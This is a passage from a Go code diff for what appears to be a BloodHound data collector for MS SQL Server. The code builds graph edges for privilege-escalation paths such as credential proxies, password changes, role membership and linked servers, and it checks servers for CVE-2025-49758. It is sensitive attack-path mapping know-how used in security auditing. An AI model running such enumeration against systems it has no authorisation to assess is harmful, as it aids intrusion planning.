+ if loginObjectID == "" {
+ continue
+ }
+
+ proxyTargetID := proxy.ResolvedSID
+
+ // HasProxyCred: Login -> AD Principal (resolved SID or credential identity)
+ edge := c.createEdge(
+ loginObjectID,
+ proxyTargetID,
+ bloodhound.EdgeKinds.HasProxyCred,
+ &bloodhound.EdgeContext{
+ SourceName: loginName,
+ SourceType: bloodhound.NodeKinds.Login,
+ TargetName: proxy.CredentialIdentity,
+ TargetType: "Base",
+ SQLServerName: serverInfo.SQLServerName,
+ },
+ )
+ if edge != nil {
+ edge.Properties["authorizedPrincipals"] = strings.Join(proxy.Logins, ", ")
+ edge.Properties["credentialId"] = proxy.CredentialID
+ edge.Properties["credentialIdentity"] = proxy.CredentialIdentity
+ edge.Properties["credentialName"] = proxy.CredentialName
+ edge.Properties["description"] = proxy.Description
+ edge.Properties["isEnabled"] = proxy.Enabled
+ edge.Properties["proxyId"] = proxy.ProxyID
+ edge.Properties["proxyName"] = proxy.Name
+ edge.Properties["resolvedSid"] = proxy.ResolvedSID
+ edge.Properties["subsystems"] = strings.Join(proxy.Subsystems, ", ")
+ if proxy.ResolvedPrincipal != nil {
+ edge.Properties["resolvedType"] = proxy.ResolvedPrincipal.ObjectClass
+ }
+ }
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // =========================================================================
+ // DATABASE-SCOPED CREDENTIAL EDGES
+ // =========================================================================
+
+ // Create HasDBScopedCred edges from databases to credential identities
+ for _, db := range serverInfo.Databases {
+ for _, cred := range db.DBScopedCredentials {
+ // Only create edges for domain credentials with a resolved SID,
+ // matching PowerShell's IsDomainPrincipal && ResolvedSID check
+ if cred.ResolvedSID == "" {
+ continue
+ }
+
+ dbCredTargetID := cred.ResolvedSID
+
+ // HasDBScopedCred: Database -> AD Principal (resolved SID or credential identity)
+ edge := c.createEdge(
+ db.ObjectIdentifier,
+ dbCredTargetID,
+ bloodhound.EdgeKinds.HasDBScopedCred,
+ &bloodhound.EdgeContext{
+ SourceName: db.Name,
+ SourceType: bloodhound.NodeKinds.Database,
+ TargetName: cred.CredentialIdentity,
+ TargetType: "Base",
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ },
+ )
+ if edge != nil {
+ edge.Properties["credentialId"] = cred.CredentialID
+ edge.Properties["credentialIdentity"] = cred.CredentialIdentity
+ edge.Properties["credentialName"] = cred.Name
+ edge.Properties["createDate"] = cred.CreateDate.Format(time.RFC3339)
+ edge.Properties["database"] = db.Name
+ edge.Properties["modifyDate"] = cred.ModifyDate.Format(time.RFC3339)
+ edge.Properties["resolvedSid"] = cred.ResolvedSID
+ }
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ return nil
+}
+
+// hasNestedRoleMembership checks if a server principal is a member of a target role,
+// including through nested role membership chains (DFS traversal).
+// This matches PowerShell's Get-NestedRoleMembership function.
+func (c *Collector) hasNestedRoleMembership(principal types.ServerPrincipal, targetRoleName string, serverInfo *types.ServerInfo) bool {
+ visited := make(map[string]bool)
+ return c.hasNestedRoleMembershipDFS(principal.MemberOf, targetRoleName, serverInfo, visited)
+}
+
+func (c *Collector) hasNestedRoleMembershipDFS(memberOf []types.RoleMembership, targetRoleName string, serverInfo *types.ServerInfo, visited map[string]bool) bool {
+ for _, role := range memberOf {
+ roleName := role.Name
+ if roleName == "" {
+ // Try to extract from ObjectIdentifier (format: "rolename@server")
+ parts := strings.SplitN(role.ObjectIdentifier, "@", 2)
+ if len(parts) > 0 {
+ roleName = parts[0]
+ }
+ }
+
+ if visited[roleName] {
+ continue
+ }
+ visited[roleName] = true
+
+ if roleName == targetRoleName {
+ return true
+ }
+
+ // Look up the role in server principals and recurse
+ for _, sp := range serverInfo.ServerPrincipals {
+ if sp.Name == roleName && sp.TypeDescription == "SERVER_ROLE" {
+ if c.hasNestedRoleMembershipDFS(sp.MemberOf, targetRoleName, serverInfo, visited) {
+ return true
+ }
+ break
+ }
+ }
+ }
+ return false
+}
+
+// fixedServerRolePermissions maps fixed server roles to their implied permissions,
+// matching PowerShell's $fixedServerRolePermissions. These are permissions that
+// are not explicitly granted in sys.server_permissions but are inherent to the role.
+var fixedServerRolePermissions = map[string][]string{
+ // sysadmin implicitly has all permissions; CONTROL SERVER is the effective grant
+ "sysadmin": {"CONTROL SERVER"},
+ // securityadmin can manage logins
+ "securityadmin": {"ALTER ANY LOGIN"},
+}
+
+// hasEffectivePermission checks if a server principal has a permission, either directly,
+// inherited through role membership chains (BFS traversal), or implied by fixed role
+// membership (e.g., sysadmin implies CONTROL SERVER).
+// This matches PowerShell's Get-EffectivePermissions function combined with
+// $fixedServerRolePermissions logic.
+func (c *Collector) hasEffectivePermission(principal types.ServerPrincipal, targetPermission string, serverInfo *types.ServerInfo) bool {
+ // First check direct permissions (skip DENY)
+ for _, perm := range principal.Permissions {
+ if perm.Permission == targetPermission && perm.State != "DENY" {
+ return true
+ }
+ }
+
+ // BFS through role membership
+ checked := make(map[string]bool)
+ queue := []string{}
+
+ // Seed the queue with direct role memberships
+ for _, role := range principal.MemberOf {
+ roleName := role.Name
+ if roleName == "" {
+ parts := strings.SplitN(role.ObjectIdentifier, "@", 2)
+ if len(parts) > 0 {
+ roleName = parts[0]
+ }
+ }
+ queue = append(queue, roleName)
+ }
+
+ for len(queue) > 0 {
+ currentRoleName := queue[0]
+ queue = queue[1:]
+
+ if checked[currentRoleName] || currentRoleName == "public" {
+ continue
+ }
+ checked[currentRoleName] = true
+
+ // Check fixed role implied permissions (e.g., sysadmin -> CONTROL SERVER)
+ if impliedPerms, ok := fixedServerRolePermissions[currentRoleName]; ok {
+ for _, impliedPerm := range impliedPerms {
+ if impliedPerm == targetPermission {
+ return true
+ }
+ }
+ }
+
+ // Find the role in server principals
+ for _, sp := range serverInfo.ServerPrincipals {
+ if sp.Name == currentRoleName && sp.TypeDescription == "SERVER_ROLE" {
+ // Check this role's permissions
+ for _, perm := range sp.Permissions {
+ if perm.Permission == targetPermission {
+ return true
+ }
+ }
+ // Add nested roles to queue
+ for _, nestedRole := range sp.MemberOf {
+ nestedName := nestedRole.Name
+ if nestedName == "" {
+ parts := strings.SplitN(nestedRole.ObjectIdentifier, "@", 2)
+ if len(parts) > 0 {
+ nestedName = parts[0]
+ }
+ }
+ queue = append(queue, nestedName)
+ }
+ break
+ }
+ }
+ }
+
+ return false
+}
+
+// hasNestedDBRoleMembership checks if a database principal is a member of a target role,
+// including through nested role membership chains (DFS traversal).
+func (c *Collector) hasNestedDBRoleMembership(principal types.DatabasePrincipal, targetRoleName string, db *types.Database) bool {
+ visited := make(map[string]bool)
+ return c.hasNestedDBRoleMembershipDFS(principal.MemberOf, targetRoleName, db, visited)
+}
+
+func (c *Collector) hasNestedDBRoleMembershipDFS(memberOf []types.RoleMembership, targetRoleName string, db *types.Database, visited map[string]bool) bool {
+ for _, role := range memberOf {
+ roleName := role.Name
+ if roleName == "" {
+ parts := strings.SplitN(role.ObjectIdentifier, "@", 2)
+ if len(parts) > 0 {
+ roleName = parts[0]
+ }
+ }
+
+ key := db.Name + "::" + roleName
+ if visited[key] {
+ continue
+ }
+ visited[key] = true
+
+ if roleName == targetRoleName {
+ return true
+ }
+
+ // Look up the role in database principals and recurse
+ for _, dp := range db.DatabasePrincipals {
+ if dp.Name == roleName && dp.TypeDescription == "DATABASE_ROLE" {
+ if c.hasNestedDBRoleMembershipDFS(dp.MemberOf, targetRoleName, db, visited) {
+ return true
+ }
+ break
+ }
+ }
+ }
+ return false
+}
+
+// hasSecurityadminRole checks if a principal is a member of the securityadmin role (including nested)
+func (c *Collector) hasSecurityadminRole(principal types.ServerPrincipal, serverInfo *types.ServerInfo) bool {
+ return c.hasNestedRoleMembership(principal, "securityadmin", serverInfo)
+}
+
+// hasImpersonateAnyLogin checks if a principal has IMPERSONATE ANY LOGIN permission (including inherited)
+func (c *Collector) hasImpersonateAnyLogin(principal types.ServerPrincipal, serverInfo *types.ServerInfo) bool {
+ return c.hasEffectivePermission(principal, "IMPERSONATE ANY LOGIN", serverInfo)
+}
+
+// shouldCreateChangePasswordEdge determines if a ChangePassword edge should be created for a target SQL login
+// based on CVE-2025-49758 patch status. If the server is patched, the edge is only created if the target
+// does NOT have securityadmin role or IMPERSONATE ANY LOGIN permission.
+func (c *Collector) shouldCreateChangePasswordEdge(serverInfo *types.ServerInfo, targetPrincipal types.ServerPrincipal) bool {
+ // Check if server is patched for CVE-2025-49758
+ if IsPatchedForCVE202549758(serverInfo.VersionNumber, serverInfo.Version) {
+ // Patched - check if target has securityadmin or IMPERSONATE ANY LOGIN
+ // If target has either, the patch prevents changing their password without current password
+ if c.hasSecurityadminRole(targetPrincipal, serverInfo) || c.hasImpersonateAnyLogin(targetPrincipal, serverInfo) {
+ // Track this skipped edge for grouped reporting (using map to deduplicate)
+ c.skippedChangePasswordMu.Lock()
+ if c.skippedChangePasswordEdges == nil {
+ c.skippedChangePasswordEdges = make(map[string]bool)
+ }
+ c.skippedChangePasswordEdges[targetPrincipal.Name] = true
+ c.skippedChangePasswordMu.Unlock()
+ return false
+ }
+ }
+ // Unpatched or target doesn't have protected permissions - create the edge
+ return true
+}
+
+// logCVE202549758Status logs the CVE-2025-49758 vulnerability status for a server
+func (c *Collector) logCVE202549758Status(serverInfo *types.ServerInfo) {
+ if serverInfo.VersionNumber == "" && serverInfo.Version == "" {
+ c.logVerbose("Skipping CVE-2025-49758 patch status check - server version unknown")
+ return
+ }
+
+ c.logVerbose("Checking for CVE-2025-49758 patch status...")
+ result := CheckCVE202549758(serverInfo.VersionNumber, serverInfo.Version)
+ if result == nil {
+ c.logVerbose("Unable to parse SQL version for CVE-2025-49758 check")
+ return
+ }
+
+ fmt.Printf("Detected SQL version: %s\n", result.VersionDetected)
+ if result.IsVulnerable {
+ fmt.Printf("CVE-2025-49758: VULNERABLE (version %s, requires %s)\n", result.VersionDetected, result.RequiredVersion)
+ } else if result.IsPatched {
+ c.logVerbose("CVE-2025-49758: NOT vulnerable (version %s)\n", result.VersionDetected)
+ }
+}
+
+// processLinkedServers resolves linked server ObjectIdentifiers and queues them for collection if enabled
+func (c *Collector) processLinkedServers(serverInfo *types.ServerInfo, server *ServerToProcess) {
+ if len(serverInfo.LinkedServers) == 0 {
+ return
+ }
+
+ // Only do expensive DNS/LDAP resolution if collecting from linked servers
+ if !c.config.CollectFromLinkedServers {
+ // When not collecting, just set basic ObjectIdentifiers for edge generation
+ for i := range serverInfo.LinkedServers {
+ ls := &serverInfo.LinkedServers[i]
+ targetHost := ls.DataSource
+ if targetHost == "" {
+ targetHost = ls.Name
+ }
+ hostname, port, instanceName := c.parseDataSource(targetHost)
+
+ // Extract domain from source server
+ sourceDomain := ""
+ if strings.Contains(serverInfo.Hostname, ".") {
+ parts := strings.SplitN(serverInfo.Hostname, ".", 2)
+ if len(parts) > 1 {
+ sourceDomain = parts[1]
+ }
+ }
+
+ // Resolve ObjectIdentifier (needed for edge generation)
+ resolvedID := c.resolveDataSourceToSID(hostname, port, instanceName, sourceDomain)
+ ls.ResolvedObjectIdentifier = resolvedID
+ }
+ return
+ }
+
+ // Full processing when collecting from linked servers (includes DNS lookups for queueing)
+ for i := range serverInfo.LinkedServers {
+ ls := &serverInfo.LinkedServers[i]
+
+ // Resolve the target server hostname
+ targetHost := ls.DataSource
+ if targetHost == "" {
+ targetHost = ls.Name
+ }
+
+ // Parse hostname, port, and instance from DataSource
+ // Formats: hostname, hostname:port, hostname\instance, hostname,port
+ hostname, port, instanceName := c.parseDataSource(targetHost)
+
+ // Strip instance name if present for FQDN resolution
+ resolvedHost := hostname
+
+ // If hostname is an IP address, try to resolve to hostname
+ if net.ParseIP(hostname) != nil {
+ if names, err := net.LookupAddr(hostname); err == nil && len(names) > 0 {
+ // Use the first resolved name, strip trailing dot
+ resolvedHostFromIP := strings.TrimSuffix(names[0], ".")
+ // Extract just hostname part for SID resolution
+ if strings.Contains(resolvedHostFromIP, ".") {
+ hostname = strings.Split(resolvedHostFromIP, ".")[0]
+ } else {
+ hostname = resolvedHostFromIP
+ }
+ }
+ }
+
+ // Try to resolve FQDN if not already one
+ if !strings.Contains(resolvedHost, ".") {
+ // Try DNS resolution
+ if addrs, err := net.LookupHost(resolvedHost); err == nil && len(addrs) > 0 {
+ if names, err := net.LookupAddr(addrs[0]); err == nil && len(names) > 0 {
+ resolvedHost = strings.TrimSuffix(names[0], ".")
+ }
+ }
+ }
+
+ // Extract domain from source server for linked server lookups
+ sourceDomain := ""
+ if strings.Contains(serverInfo.Hostname, ".") {
+ parts := strings.SplitN(serverInfo.Hostname, ".", 2)
+ if len(parts) > 1 {
+ sourceDomain = parts[1]
+ }
+ }
+
+ // Resolve the linked server's ResolvedObjectIdentifier (SID:port format)
+ resolvedID := c.resolveDataSourceToSID(hostname, port, instanceName, sourceDomain)
+ ls.ResolvedObjectIdentifier = resolvedID
+
+ // Check if already in queue
+ isAlreadyQueued := false
+ for _, existing := range c.serversToProcess {
+ if strings.EqualFold(existing.Hostname, resolvedHost) ||
+ strings.EqualFold(existing.Hostname, hostname) {
+ isAlreadyQueued = true
+ break
+ }
+ }
+
+ // Add to queue if not already there
+ if !isAlreadyQueued {
+ c.addLinkedServerToQueue(resolvedHost, serverInfo.Hostname, sourceDomain)
+ }
+ }
+}
+
+// parseDataSource parses a SQL Server data source string into hostname, port, and instance name
+// Supports formats: hostname, hostname:port, hostname\instance, hostname,port, hostname\instance,port
+func (c *Collector) parseDataSource(dataSource string) (hostname, port, instanceName string) {
+ // Default port
+ port = "1433"
+ hostname = dataSource
+
+ // Check for instance name (backslash)
+ if idx := strings.Index(dataSource, "\\"); idx != -1 {
+ hostname = dataSource[:idx]
+ remaining := dataSource[idx+1:]
+
+ // Check if there's a port after the instance
+ if commaIdx := strings.Index(remaining, ","); commaIdx != -1 {
+ instanceName = remaining[:commaIdx]
+ port = remaining[commaIdx+1:]
+ } else if colonIdx := strings.Index(remaining, ":"); colonIdx != -1 {
+ instanceName = remaining[:colonIdx]
+ port = remaining[colonIdx+1:]
+ } else {
+ instanceName = remaining
+ }
+ return
+ }
+
+ // Check for port (comma or colon without backslash)
+ if commaIdx := strings.Index(dataSource, ","); commaIdx != -1 {
+ hostname = dataSource[:commaIdx]
+ port = dataSource[commaIdx+1:]
+ return
+ }
+
+ // Also support colon for port (common in JDBC-style connections)
+ if colonIdx := strings.LastIndex(dataSource, ":"); colonIdx != -1 {
+ // Make sure it's not a drive letter (e.g., C:\...)
+ if colonIdx > 1 {
+ hostname = dataSource[:colonIdx]
+ port = dataSource[colonIdx+1:]
+ }
+ }
+
+ return
+}
+
+// resolveLinkedServerSourceID resolves the source server ObjectIdentifier for a chained linked server.
+// When a linked server's SourceServer differs from the current server's hostname, this resolves
+// the source to a SID:port format. Falls back to "LinkedServer:hostname" if resolution fails.
+// This matches PowerShell's Resolve-DataSourceToSid behavior for linked server source resolution.
+func (c *Collector) resolveLinkedServerSourceID(sourceServer string, serverInfo *types.ServerInfo) string {
+ hostname, port, instanceName := c.parseDataSource(sourceServer)
+
+ // Extract domain from current server for resolution
+ sourceDomain := ""
+ if strings.Contains(serverInfo.Hostname, ".") {
+ parts := strings.SplitN(serverInfo.Hostname, ".", 2)
+ if len(parts) > 1 {
+ sourceDomain = parts[1]
+ }
+ }
+
+ resolved := c.resolveDataSourceToSID(hostname, port, instanceName, sourceDomain)
+
+ // Check if resolution succeeded (starts with S-1-5- means SID was resolved)
+ if strings.HasPrefix(resolved, "S-1-5-") {
+ return resolved
+ }
+
+ // Fallback to LinkedServer:hostname format (matching PowerShell behavior)
+ return "LinkedServer:" + sourceServer
+}
+
+// resolveDataSourceToSID resolves a data source to SID:port format for linked server edges
+// Returns SID:port if the hostname can be resolved, otherwise returns hostname:port
+func (c *Collector) resolveDataSourceToSID(hostname, port, instanceName, domain string) string {
+ // For cloud SQL servers (Azure, AWS RDS, etc.), use hostname:port format
+ if strings.Contains(hostname, ".database.windows.net") ||
+ strings.Contains(hostname, ".rds.amazonaws.com") ||
+ strings.Contains(hostname, ".database.azure.com") {
+ if instanceName != "" {
+ return fmt.Sprintf("%s:%s", hostname, instanceName)
+ }
+ return fmt.Sprintf("%s:%s", hostname, port)
+ }
+
+ // Try to resolve the computer SID
+ machineName := hostname
+ if strings.Contains(machineName, ".") {
+ machineName = strings.Split(machineName, ".")[0]
+ }
+
+ // Try Windows API first
+ sid, err := ad.ResolveComputerSIDWindows(machineName, domain)
+ if err == nil && sid != "" {
+ if instanceName != "" {
+ return fmt.Sprintf("%s:%s", sid, instanceName)
+ }
+ return fmt.Sprintf("%s:%s", sid, port)
+ }
+
+ // Try LDAP if domain is specified and Windows API failed
+ if domain != "" {
+ adClient := ad.NewClient(domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ defer adClient.Close()
+
+ sid, err = adClient.ResolveComputerSID(machineName)
+ if err == nil && sid != "" {
+ if instanceName != "" {
+ return fmt.Sprintf("%s:%s", sid, instanceName)
+ }
+ return fmt.Sprintf("%s:%s", sid, port)
+ }
+ }
+
+ // Fallback to hostname:port if SID resolution fails
+ if instanceName != "" {
+ return fmt.Sprintf("%s:%s", hostname, instanceName)
+ }
+ return fmt.Sprintf("%s:%s", hostname, port)
+}
+
+// addLinkedServerToQueue adds a discovered linked server to the queue for later processing
+func (c *Collector) addLinkedServerToQueue(hostname string, discoveredFrom string, domain string) {
+ c.linkedServersMu.Lock()
+ defer c.linkedServersMu.Unlock()
+
+ // Check for duplicates
+ for _, ls := range c.linkedServersToProcess {
+ if strings.EqualFold(ls.Hostname, hostname) {
+ return
+ }
+ }
+
+ server := c.parseServerString(hostname)
+ server.DiscoveredFrom = discoveredFrom
+ server.Domain = domain
+ c.tryResolveSID(server)
+ c.linkedServersToProcess = append(c.linkedServersToProcess, server)
+}
+
+// processLinkedServersQueue processes discovered linked servers recursively
+func (c *Collector) processLinkedServersQueue(processedServers map[string]bool) {
+ iteration := 0
+ for {
+ // Get current batch of linked servers to process
+ c.linkedServersMu.Lock()
+ if len(c.linkedServersToProcess) == 0 {
+ c.linkedServersMu.Unlock()
+ break
+ }
+
+ // Take the current batch and reset
+ currentBatch := c.linkedServersToProcess
+ c.linkedServersToProcess = nil
+ c.linkedServersMu.Unlock()
+
+ // Filter out already processed servers
+ var serversToProcess []*ServerToProcess
+ for _, server := range currentBatch {
+ key := strings.ToLower(server.Hostname)
+ if !processedServers[key] {
+ serversToProcess = append(serversToProcess, server)
+ processedServers[key] = true
+ } else {
+ c.logVerbose("Skipping already processed linked server: %s", server.Hostname)
+ }
+ }
+
+ if len(serversToProcess) == 0 {
+ continue
+ }
+
+ iteration++
+ fmt.Printf("\n=== Processing %d linked server(s) (iteration %d) ===\n", len(serversToProcess), iteration)
+
+ // Process this batch
+ for i, server := range serversToProcess {
+ discoveredInfo := ""
+ if server.DiscoveredFrom != "" {
+ discoveredInfo = fmt.Sprintf(" (discovered from %s)", server.DiscoveredFrom)
+ }
+ fmt.Printf("\n[Linked %d/%d] Processing %s%s...\n", i+1, len(serversToProcess), server.ConnectionString, discoveredInfo)
+
+ if err := c.processServer(server); err != nil {
+ fmt.Printf("Warning: failed to process linked server %s: %v\n", server.ConnectionString, err)
+ // Continue with other servers
+ }
+ }
+ }
+}
+
+// createFixedRoleEdges creates edges for fixed server and database role capabilities
+func (c *Collector) createFixedRoleEdges(writer *bloodhound.StreamingWriter, serverInfo *types.ServerInfo) error {
+ // Fixed server roles with special capabilities
+ for _, principal := range serverInfo.ServerPrincipals {
+ if principal.TypeDescription != "SERVER_ROLE" || !principal.IsFixedRole {
+ continue
+ }
+
+ switch principal.Name {
+ case "sysadmin":
+ // sysadmin has CONTROL SERVER
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.ControlServer,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.ServerRole,
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ case "securityadmin":
+ // securityadmin can grant any permission
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.GrantAnyPermission,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.ServerRole,
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // securityadmin also has ALTER ANY LOGIN
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.AlterAnyLogin,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.ServerRole,
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Also create ChangePassword edges to SQL logins (same logic as explicit ALTER ANY LOGIN)
+ for _, targetPrincipal := range serverInfo.ServerPrincipals {
+ if targetPrincipal.TypeDescription != "SQL_LOGIN" {
+ continue
+ }
+ if targetPrincipal.Name == "sa" {
+ continue
+ }
+ if targetPrincipal.ObjectIdentifier == principal.ObjectIdentifier {
+ continue
+ }
+
+ // Check if target has sysadmin or CONTROL SERVER (including nested)
+ targetHasSysadmin := c.hasNestedRoleMembership(targetPrincipal, "sysadmin", serverInfo)
+ targetHasControlServer := c.hasEffectivePermission(targetPrincipal, "CONTROL SERVER", serverInfo)
+
+ if !targetHasSysadmin && !targetHasControlServer {
+ // Check CVE-2025-49758 patch status to determine if edge should be created
+ if !c.shouldCreateChangePasswordEdge(serverInfo, targetPrincipal) {
+ continue
+ }
+
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetPrincipal.ObjectIdentifier,
+ bloodhound.EdgeKinds.ChangePassword,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.ServerRole,
+ TargetName: targetPrincipal.Name,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: "ALTER ANY LOGIN",
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+ case "##MS_LoginManager##":
+ // SQL Server 2022+ fixed role: has ALTER ANY LOGIN permission
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.AlterAnyLogin,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.ServerRole,
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // Also create ChangePassword edges to SQL logins (same logic as ALTER ANY LOGIN)
+ for _, targetPrincipal := range serverInfo.ServerPrincipals {
+ if targetPrincipal.TypeDescription != "SQL_LOGIN" {
+ continue
+ }
+ if targetPrincipal.Name == "sa" {
+ continue
+ }
+ if targetPrincipal.ObjectIdentifier == principal.ObjectIdentifier {
+ continue
+ }
+
+ // Check if target has sysadmin or CONTROL SERVER (including nested)
+ targetHasSysadmin := c.hasNestedRoleMembership(targetPrincipal, "sysadmin", serverInfo)
+ targetHasControlServer := c.hasEffectivePermission(targetPrincipal, "CONTROL SERVER", serverInfo)
+
+ if !targetHasSysadmin && !targetHasControlServer {
+ if !c.shouldCreateChangePasswordEdge(serverInfo, targetPrincipal) {
+ continue
+ }
+
+ cpEdge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetPrincipal.ObjectIdentifier,
+ bloodhound.EdgeKinds.ChangePassword,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.ServerRole,
+ TargetName: targetPrincipal.Name,
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: serverInfo.SQLServerName,
+ Permission: "ALTER ANY LOGIN",
+ },
+ )
+ if err := writer.WriteEdge(cpEdge); err != nil {
+ return err
+ }
+ }
+ }
+
+ case "##MS_DatabaseConnector##":
+ // SQL Server 2022+ fixed role: has CONNECT ANY DATABASE permission
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ serverInfo.ObjectIdentifier,
+ bloodhound.EdgeKinds.ConnectAnyDatabase,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.ServerRole,
+ TargetName: serverInfo.ServerName,
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: serverInfo.SQLServerName,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // Fixed database roles with special capabilities
+ for _, db := range serverInfo.Databases {
+ for _, principal := range db.DatabasePrincipals {
+ if principal.TypeDescription != "DATABASE_ROLE" || !principal.IsFixedRole {
+ continue
+ }
+
+ switch principal.Name {
+ case "db_owner":
+ // db_owner has CONTROL on the database - create both Control and ControlDB edges
+ // MSSQL_Control (non-traversable) - matches PowerShell behavior
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.Control,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.DatabaseRole,
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // MSSQL_ControlDB (traversable)
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.ControlDB,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.DatabaseRole,
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // NOTE: db_owner does NOT create explicit AddMember or ChangePassword edges
+ // Its ability to add members and change passwords comes from the implicit ControlDB permission
+ // PowerShell doesn't create these edges from db_owner either
+
+ case "db_securityadmin":
+ // db_securityadmin can grant any database permission
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.GrantAnyDBPermission,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.DatabaseRole,
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // db_securityadmin has ALTER ANY APPLICATION ROLE permission
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.AlterAnyAppRole,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.DatabaseRole,
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // db_securityadmin has ALTER ANY ROLE permission
+ edge = c.createEdge(
+ principal.ObjectIdentifier,
+ db.ObjectIdentifier,
+ bloodhound.EdgeKinds.AlterAnyDBRole,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.DatabaseRole,
+ TargetName: db.Name,
+ TargetType: bloodhound.NodeKinds.Database,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+
+ // db_securityadmin can add members to user-defined roles only (not fixed roles)
+ // Also exclude the public role as its membership cannot be changed
+ for _, targetRole := range db.DatabasePrincipals {
+ if targetRole.TypeDescription == "DATABASE_ROLE" &&
+ !targetRole.IsFixedRole &&
+ targetRole.Name != "public" {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ targetRole.ObjectIdentifier,
+ bloodhound.EdgeKinds.AddMember,
+ &bloodhound.EdgeContext{
+ SourceName: principal.Name,
+ SourceType: bloodhound.NodeKinds.DatabaseRole,
+ TargetName: targetRole.Name,
+ TargetType: bloodhound.NodeKinds.DatabaseRole,
+ SQLServerName: serverInfo.SQLServerName,
+ DatabaseName: db.Name,
+ IsFixedRole: true,
+ },
+ )
+ if err := writer.WriteEdge(edge); err != nil {
+ return err
+ }
+ }
+ }
+
+ // db_securityadmin can change password for application roles (via ALTER ANY APPLICATION ROLE)
+ for _, appRole := range db.DatabasePrincipals {
+ if appRole.TypeDescription == "APPLICATION_ROLE" {
+ edge := c.createEdge(
+ principal.ObjectIdentifier,
+ appRole.ObjectIdentifier,
